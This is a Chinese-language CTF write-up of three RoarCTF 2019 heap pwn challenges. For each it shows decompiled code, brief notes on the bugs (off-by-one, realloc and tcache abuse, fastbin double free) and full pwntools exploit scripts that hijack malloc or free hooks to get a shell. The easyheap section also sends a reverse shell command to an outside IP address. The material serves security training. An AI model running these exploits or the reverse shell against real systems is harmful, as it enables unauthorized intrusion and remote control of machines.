【WriteUp】RoarCTF 2019--Pwn题解

buuoj 的题真多鸭

easy_pwn

Description:

Ubuntu 16


Solution:

之前做的了,保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v4; // [rsp+4h] [rbp-Ch]
__int64 savedregs; // [rsp+10h] [rbp+0h]

sub_AD0(a1, a2, a3);
while ( 1 )
{
sub_B5A();
v4 = sub_BE0(v4);
switch ( (unsigned int)&savedregs )
{
case 1u:
sub_C46();
break;
case 2u:
puts("Tell me the secret about you!!");
sub_E82("Tell me the secret about you!!");
break;
case 3u:
sub_F8E();
break;
case 4u:
sub_1122();
break;
case 5u:
return 0LL;
default:
puts("Wrong try again!!");
break;
}
}
}

添加堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 sub_C46()
{
__int64 result; // rax
int v1; // ST0C_4
unsigned int i; // [rsp+4h] [rbp-1Ch]
unsigned int v3; // [rsp+8h] [rbp-18h]
signed int v4; // [rsp+8h] [rbp-18h]
void *v5; // [rsp+10h] [rbp-10h]

result = 0LL;
for ( i = 0; (signed int)i <= 15; ++i )
{
result = *((unsigned int *)&unk_202040 + 4 * (signed int)i);
if ( !(_DWORD)result )
{
printf("size: ");
v4 = sub_BE0(v3);
if ( v4 > 0 )
{
if ( v4 > 4096 )
v4 = 4096;
v5 = calloc(v4, 1uLL);
if ( !v5 )
exit(-1);
*((_DWORD *)&unk_202040 + 4 * (signed int)i) = 1;
*((_DWORD *)&unk_202044 + 4 * (signed int)i) = v4;
qword_202048[2 * (signed int)i] = v5;
v1 = qword_202048[2 * (signed int)i] & 0xFFF;
printf("the index of ticket is %d \n", i);
}
return i;
}
}
return result;
}

编辑堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 sub_E82()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
signed int v2; // [rsp+Ch] [rbp-14h]
signed int v3; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]

printf("index: ");
v2 = sub_BE0(v1);
v3 = v2;
if ( v2 >= 0 && v2 <= 15 )
{
v2 = *((_DWORD *)&unk_202040 + 4 * v2);
if ( v2 == 1 )
{
printf("size: ");
v2 = sub_BE0(1LL);
v4 = sub_E26(*((unsigned int *)&unk_202044 + 4 * v3), (unsigned int)v2);
if ( v2 > 0 )
{
printf("content: ");
v2 = sub_D92(qword_202048[2 * v3], v4);
}
}
}
return (unsigned int)v2;
}

删除堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 sub_F8E()
{
int v0; // eax
int v2; // [rsp+Ch] [rbp-14h]
unsigned int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]

printf("index: ");
v0 = sub_BE0(v3);
v4 = v0;
v2 = v0;
if ( v0 >= 0LL && v0 <= 15LL )
{
v4 = *((signed int *)&unk_202040 + 4 * v0);
if ( v4 == 1 )
{
*((_DWORD *)&unk_202040 + 4 * v0) = 0;
*((_DWORD *)&unk_202044 + 4 * v0) = 0;
free((void *)qword_202048[2 * v0]);
qword_202048[2 * v2] = 0LL;
}
}
return v4;
}

打印堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 sub_1122()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
__int64 v2; // [rsp+0h] [rbp-10h]

printf("index: ");
LODWORD(v2) = sub_BE0(v1);
HIDWORD(v2) = v2;
if ( (signed int)v2 >= 0 && (signed int)v2 <= 15 )
{
LODWORD(v2) = *((_DWORD *)&unk_202040 + 4 * (signed int)v2);
if ( (_DWORD)v2 == 1 )
{
printf("content: ", v2);
LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *((unsigned int *)&unk_202044 + 4 * SHIDWORD(v2)));
}
}
return (unsigned int)v2;
}

就记得是靠 off by one 打的了,emmmm

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
p = process('./easy_pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('node3.buuoj.cn', 29826)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./', checksec=False)


def create(create_size):
p.sendlineafter('choice: ', '1')
p.sendlineafter('size: ', str(create_size))


def write(write_idx, write_size, write_content):
p.sendlineafter('choice: ', '2')
p.sendlineafter('index: ', str(write_idx))
p.sendlineafter('size: ', str(write_size))
p.sendafter('content: ', write_content)


def drop(drop_idx):
p.sendlineafter('choice: ', '3')
p.sendlineafter('index: ', str(drop_idx))


def show(show_idx):
p.sendlineafter('choice: ', '4')
p.sendlineafter('index: ', str(show_idx))
p.recvuntil('content: ')


create(0x68) # 0
create(0x68) # 1
create(0x68) # 2
create(0x68) # 3
create(0x28) # 4
create(0x68) # 5
create(0x48) # 6
create(0x48) # 7
write(7, 0x10, p64(0xdeadbeef) * 2)
write(0, 0x68 + 10, 'a' * 0x60 + p64(0) + '\xe1') # [扩大chunk1的size,使其free时free掉chunk2]
drop(1) # [free掉chunk1和chunk2]
create(0x68) # 1[恢复chunk1]
show(2) # [leak main_arena]

addr_main_arena = u64(p.recv(6).ljust(8, '\x00')) - 88
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr___malloc_hook = libcbase + libc.sym['__malloc_hook']
addr_relloc = libcbase + libc.sym['__libc_realloc']
addr_one_gadget = libcbase + libc_one_gadget[1]

create(0x68) # 8[恢复chunk2]
write(4, 0x10, p64(0xfafaadad) * 2)
write(3, 0x68 + 10, 'A' * 0x60 + p64(0) + '\xa1')
write(5, 0x68 + 10, 'B' * 0x60 + p64(0x71) + '\x51')
drop(5) # make 0x70 fastbin
drop(4) # make 0x90 fastbin
create(0x88) # 4
write(4, 0x38, 'Z' * 0x20 + p64(0) + p64(0x71) + p64(addr___malloc_hook - 0x23))
create(0x68) # 5
create(0x60) # 9
write(9, 0x1b, '\x00' * 0x0b + p64(addr_one_gadget) + p64(addr_relloc))
# gdb.attach(p)
create(1)
success('addr_main_arena = ' + hex(addr_main_arena))
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_relloc = ' + hex(addr_relloc))
success('addr_one_gadget = ' + hex(addr_one_gadget))
p.interactive()

Flag:

1
动态靶机

realloc_magic

Description:

Ubuntu 18


Solution:

这题疯狂考 realloc 特性和 tcache 特性,总结了不少,保护全开:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax

init();
while ( 1 )
{
menu();
v3 = get_int();
switch ( v3 )
{
case 2:
fr();
break;
case 666:
ba();
break;
case 1:
re();
break;
default:
puts("invalid choice");
break;
}
}
}

1.re 函数

1
2
3
4
5
6
7
8
9
10
11
int re()
{
unsigned int size; // ST0C_4

puts("Size?");
size = get_int();
realloc_ptr = realloc(realloc_ptr, size);
puts("Content?");
read(0, realloc_ptr, size);
return puts("Done");
}

2.fr 函数

1
2
3
4
5
int fr()
{
free(realloc_ptr);
return puts("Done");
}

3.ba 函数

1
2
3
4
5
6
7
8
int ba()
{
if ( lock )
exit(-1);
lock = 1;
realloc_ptr = 0LL;
return puts("Done");
}

题目主要就是利用 realloc 在同一地址分配比原先大的堆块时,若后面有堆块,则释放原有堆块,在后面创建新堆块

以及 unsorted bin 的堆块合并来达到控制 tcache bin 堆块的目的

能控制下一个 tcache bin 堆块就可以修改下一个堆块的 size 位

使得再次申请原 tcache bin 大小的堆块时,堆块内的内容就变成了下一个同样大小堆块的地址

靠这个特性,让地址跳向 _IO_2_1_stdout_,修改 _flags 的值为原先的值减去 0x1000 来泄露 libc 有关信息

达到这个目的后,就需要 ba 函数使地址变为 0,不然以 realloc 的特性就做不下去了

之后再来一遍上面的步骤,改 __free_hook 为 one_gadget 即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
while True:
try:
if debug == 1:
p = process('./realloc_magic')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('node3.buuoj.cn', 29670)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./realloc_magic', checksec=False)
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]


def realloc(realloc_size, realloc_content):
p.sendafter('>> ', '1')
p.sendafter('Size?\n', str(realloc_size))
p.sendafter('Content?\n', realloc_content)


def free():
p.sendafter('>> ', '2')


def ba():
p.sendafter('>> ', '666')


realloc(0x10, 'a')
realloc(0, '')
realloc(0x100, 'b')
realloc(0, '')
realloc(0x80, 'c')
realloc(0, '')
realloc(0x100, 'b')
for i in range(0, 7):
free()
realloc(0, '')
realloc(0x10, 'a')

pd = 'a' * 0x10
pd += p64(0) + p64(0x21)
pd += p16(0xa760)
realloc(0x120, pd)
realloc(0, '')
realloc(0x100, 'a')
realloc(0, '')

pd = p64(0xfbad1887)
pd += p64(0) * 3
pd += '\x00'
realloc(0x100, pd)
p.recv(0x88)

addr__IO_2_1_stdout_ = u64(p.recv(6).ljust(8, '\x00')) - 131
libcbase = addr__IO_2_1_stdout_ - libc.sym['_IO_2_1_stdout_']
addr___free_hook = libcbase + libc.sym['__free_hook']
addr_one_gadget = libcbase + libc_one_gadget[1]

if addr__IO_2_1_stdout_ & 0xff != 96:
p.close()
continue
else:
pause()

ba()
realloc(0x20, 'A')
realloc(0, '')
realloc(0x140, 'B')
realloc(0, '')
realloc(0x110, 'C')
realloc(0, '')
realloc(0x140, 'B')
for i in range(0, 7):
free()
realloc(0, '')
realloc(0x20, 'A')

pd = 'a' * 0x20
pd += p64(0) + p64(0x221)
pd += p64(addr___free_hook)
realloc(0x170, pd)
realloc(0, '')
realloc(0x140, 'a')
realloc(0, '')
realloc(0x140, p64(addr_one_gadget))

free()
success('addr__IO_2_1_stdout_ = ' + hex(addr__IO_2_1_stdout_))
success('addr___free_hook = ' + hex(addr___free_hook))
# sleep(1)
# gdb.attach(p)
p.interactive()
break
except:
p.close()
continue

Flag:

1
动态靶机

easyheap

Description:

Ubuntu 16.04


Solution:

这题难点在最后了,主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
int v4; // ebx
int v6; // [rsp+4h] [rbp-14h]
unsigned __int64 v7; // [rsp+8h] [rbp-10h]

v7 = __readfsqword(0x28u);
v6 = 0;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v3 = open("/dev/random", 0);
if ( v3 == -1 )
{
puts("open file error!");
exit(0);
}
v4 = v3;
if ( read(v3, &show_602090, 8uLL) < 0
|| (close(v4), no_use_1(), _printf_chk(1LL, "please input your username:"), read(0, &unk_602060, 0x20uLL) < 0)
|| (_printf_chk(1LL, "please input your info:"), read(0, &unk_6020A0, 0x20uLL) < 0) )
{
puts("read error");
exit(0);
}
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
if ( _isoc99_scanf("%d", &v6) < 0 )
{
puts("scanf error");
exit(0);
}
if ( v6 != 1 )
break;
add();
}
if ( v6 != 2 )
break;
free(buf);
}
if ( v6 != 3 )
break;
if ( show_602090 == 0xDEADBEEFDEADBEEFLL )
show();
}
if ( v6 == 4 )
break;
if ( v6 == 666 )
magic();
}
return 0LL;
}

add 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 add()
{
signed int v0; // eax
size_t v1; // rbx
__int64 result; // rax
unsigned __int64 v3; // rt1
__int64 v4; // [rsp+0h] [rbp-18h]
unsigned __int64 v5; // [rsp+8h] [rbp-10h]

v5 = __readfsqword(0x28u);
if ( qword_602018 )
{
puts("input the size");
if ( read(0, &v4, 8uLL) < 0 )
goto LABEL_9;
v0 = strtol(&v4, 0LL, 10);
if ( v0 > 128 )
{
puts("invaild size");
exit(0);
}
v1 = v0;
buf = malloc(v0);
puts("please input your content");
if ( read(0, buf, v1) < 0 )
{
LABEL_9:
puts("read error");
exit(0);
}
--qword_602018;
}
else
{
puts("chunk filled!\n");
puts("everything has a price");
}
v3 = __readfsqword(0x28u);
result = v3 ^ v5;
if ( v3 != v5 )
goto LABEL_9;
return result;
}

show 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int show()
{
unsigned __int64 v0; // ST08_8
int result; // eax
unsigned __int64 v2; // rt1

v0 = __readfsqword(0x28u);
puts(buf);
puts("everything has a price");
close(1);
v2 = __readfsqword(0x28u);
result = v2 ^ v0;
if ( v2 == v0 )
result = close(2);
return result;
}

magic 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 magic()
{
int v0; // eax
__int64 v2; // [rsp+0h] [rbp-18h]
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( !qword_602010 )
{
puts("everything has a price");
goto LABEL_7;
}
puts("build or free?");
if ( read(0, &v2, 8uLL) < 0 )
{
LABEL_10:
puts("read error");
exit(0);
}
v0 = strtol(&v2, 0LL, 10);
if ( v0 == 1 )
{
ptr = calloc(0xA0uLL, 1uLL);
puts("please input your content");
if ( read(0, ptr, 0xA0uLL) >= 0 )
goto LABEL_7;
goto LABEL_10;
}
if ( v0 == 2 )
free(ptr);
else
puts("invaild choice");
LABEL_7:
--qword_602010;
return __readfsqword(0x28u) ^ v3;
}

先用 magic 函数和 add 函数创造一个 unsorted bin 的 chunk

因为 magic 函数删除 chunk 存在 uaf,所以可以交替释放 buf 和 ptr 导致 fastbin 的 double free

伪造 chunk 到 bss 上修改 show 函数所需地址上的值为 0xDEADBEEFDEADBEEF

之后就可以泄露 main_arena 了,然后再次利用相同的手法制造第二个 double free

修改 realloc_hook 和 malloc_hook 为 addr_one_gadget 和 __libc_realloc 即可

不过在 show 函数泄露 main_arena 之后,程序关闭了标准输出和错误输出流,使用exec 1>&0exec 2>&0都没有用

这时候只能靠反弹 shell 来获取终端界面得到 flag,于是最后我加了一句bash -c 'sh -i &>/dev/tcp/174.0.107.45/2224 0>&1'

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./easyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('node3.buuoj.cn', 25709)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./easyheap', checksec=False)


def add_buf_recv(add_buf_recv_size, add_buf_recv_content):
p.sendlineafter('>> ', '1')
p.sendafter('input the size\n', str(add_buf_recv_size))
p.sendafter('please input your content\n', add_buf_recv_content)


def free_buf_recv():
p.sendlineafter('>> ', '2')


def add_ptr_recv(add_ptr_recv_content):
p.sendlineafter('>> ', '666')
p.sendafter('build or free?\n', '1')
p.sendafter('please input your content', add_ptr_recv_content)


def free_ptr_recv():
p.sendlineafter('>> ', '666')
p.sendafter('build or free?\n', '2')


def add_buf(add_buf_size, add_buf_content):
p.sendline('1')
sleep(0.3)
p.send(str(add_buf_size))
sleep(0.3)
p.send(add_buf_content)
sleep(0.3)


def free_buf():
p.sendline('2')
sleep(0.3)


def add_ptr(add_ptr_content):
p.sendline('666')
sleep(0.3)
p.send('1')
sleep(0.3)
p.send(add_ptr_content)
sleep(0.3)


def free_ptr():
p.sendline('666')
sleep(0.3)
p.send('2')
sleep(0.3)


got____libc_start_main = elf.got['__libc_start_main']
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

addr_chunk_list = 0x602060
pd = p64(0) + p64(0x7f)
pd += p64(addr_chunk_list)
p.sendafter('please input your username:', pd)
p.sendafter('please input your info:', '1')
add_ptr_recv('a')
add_buf_recv(0x68, 'a')
free_ptr_recv()
add_buf_recv(0x68, 'a')
add_buf_recv(0x30, 'a')
add_buf_recv(0x68, 'a')
free_buf_recv()
free_ptr_recv()
free_buf_recv()
# gdb.attach(p, "b *0x400C40\nc")
add_buf_recv(0x68, p64(addr_chunk_list))
add_buf_recv(0x68, p64(addr_chunk_list))
add_buf_recv(0x68, p64(addr_chunk_list))
pd = p64(0) * 3
pd += p64(got____libc_start_main)
pd += p64(0xdeadbeefdeadbeef)
add_buf_recv(0x68, pd)
p.sendlineafter('>> ', '666')
add_ptr_recv('a')
p.sendlineafter('>> ', '3')

addr___libc_start_main = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr___malloc_hook = libcbase + libc.sym['__malloc_hook']
addr___libc_realloc = libcbase + libc.sym['__libc_realloc']
addr_one_gadget = libcbase + libc_one_gadget[3]

add_buf(0x68, 'a')
add_buf(0x68, 'a')
free_ptr()
add_buf(0x68, 'a')
add_buf(0x68, 'a')
free_buf()
free_ptr()
free_buf()
add_buf(0x68, p64(addr___malloc_hook - 0x23))
add_buf(0x68, p64(addr___malloc_hook - 0x23))
add_buf(0x68, p64(addr___malloc_hook - 0x23))
pd = 'a' * 0x0b
pd += p64(addr_one_gadget)
pd += p64(addr___libc_realloc + 20)
add_buf(0x68, pd)
# gdb.attach(p, "b *0x400E24\nc" + "\nsi" * 20)
p.sendline('666')
sleep(0.3)
p.sendline('1')
p.sendline("bash -c 'sh -i &>/dev/tcp/174.0.107.45/2224 0>&1'")
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr___libc_realloc = ' + hex(addr___libc_realloc))
success('addr_one_gadget = ' + hex(addr_one_gadget))
p.interactive()

Flag:

1
动态靶机

##

Description:


Solution:

exp如下:

1
2



Flag:

1
动态靶机
文章目录
  1. 1. easy_pwn
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. realloc_magic
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. easyheap
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
    4. 3.4. Description:
    5. 3.5. Solution:
    6. 3.6. Flag:
|